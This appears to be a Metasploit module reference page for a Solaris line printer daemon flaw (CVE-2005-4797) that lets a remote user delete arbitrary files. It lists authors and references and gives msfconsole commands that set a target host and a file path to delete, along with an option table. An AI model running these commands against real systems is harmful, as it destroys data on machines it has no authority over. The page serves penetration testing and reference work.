Solaris LPD Arbitrary File Delete
This module uses a vulnerability in the Solaris line printer daemon to delete arbitrary files on an affected system. This can be used to exploit the rpc.walld format string flaw, the missing krb5.conf authentication bypass, or simply delete system files. Tested on Solaris 2.6, 7, 8, 9, and 10.
Rank
- Normal
Authors
- hdm < hdm [at] metasploit.com >
- Optyx < optyx [at] uberhax0r.net >
Vulnerability References
- CVE-2005-4797
- BID-14510
- OSVDB-18650
- http://sunsolve.sun.com/search/document.do?assetkey=1-26-101842-1
Development
Similar Modules
Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use auxiliary/dos/solaris/lpd/cascade_delete
msf auxiliary(cascade_delete) > set RHOST [TARGET IP]
msf auxiliary(cascade_delete) > set RPATH [STRING]
msf auxiliary(cascade_delete) > run
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use auxiliary/dos/solaris/lpd/cascade_delete
msf auxiliary(cascade_delete) > set RHOST [TARGET IP]
msf auxiliary(cascade_delete) > set RPATH [STRING]
msf auxiliary(cascade_delete) > run
Module Options
| RHOST | The target address |
| RPATH | The remote file path to delete |
| RPORT | The target port (default: 515) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
